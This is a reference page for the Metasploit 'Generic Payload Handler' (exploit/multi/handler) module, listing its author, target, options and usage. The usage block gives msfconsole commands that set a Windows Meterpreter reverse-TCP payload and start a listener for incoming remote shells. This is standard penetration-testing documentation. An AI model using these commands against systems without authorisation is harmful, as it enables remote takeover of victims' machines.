Generic Payload Handler | Metasploit Exploit Database (DB)

Generic Payload Handler

This module is a stub that provides all of the features of the Metasploit payload system to exploits that have been launched outside of the framework.

Search Other Modules


Exploit Rank

  • Manual

Exploit Authors

  • hdm < hdm [at] metasploit.com >

Exploit Targets

  • 0 - Wildcard Target (default)

Exploit Development


Similar Exploit Modules


Exploit Usage Information

$ msfconsole

                ##                          ###           ##    ##
 ##  ##  #### ###### ####  #####   #####    ##    ####        ######
####### ##  ##  ##  ##         ## ##  ##    ##   ##  ##   ###   ##
####### ######  ##  #####   ####  ##  ##    ##   ##  ##   ##    ##
## # ##     ##  ##  ##  ## ##      #####    ##   ##  ##   ##    ##
##   ##  #### ###   #####   #####     ##   ####   ####   #### ###
                                      ##

msf > use exploit/multi/handler
msf exploit(handler) > show payloads
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST [MY IP ADDRESS]
msf exploit(handler) > exploit


Exploit Module Options

ContextInformationFile The information file that contains context information
DisablePayloadHandler Disable the handler code for the selected payload
EnableContextEncoding Use transient context when encoding payloads
ExitOnSession Return from the exploit after a session has been created
ListenerTimeout The maximum number of seconds to wait for new sessions
VERBOSE Enable detailed status messages
WORKSPACE Specify the workspace for this module
WfsDelay Additional delay when waiting for a session